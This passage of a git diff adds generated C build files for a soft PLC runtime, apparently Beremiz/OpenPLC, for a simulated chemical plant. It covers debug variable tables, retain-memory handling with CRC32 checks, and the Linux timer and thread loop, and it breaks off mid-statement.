+{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE99_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE99_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE4_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE4_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE5_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE5_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE7_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE7_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o new file mode 100644 index 0000000..dd4a2c2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = 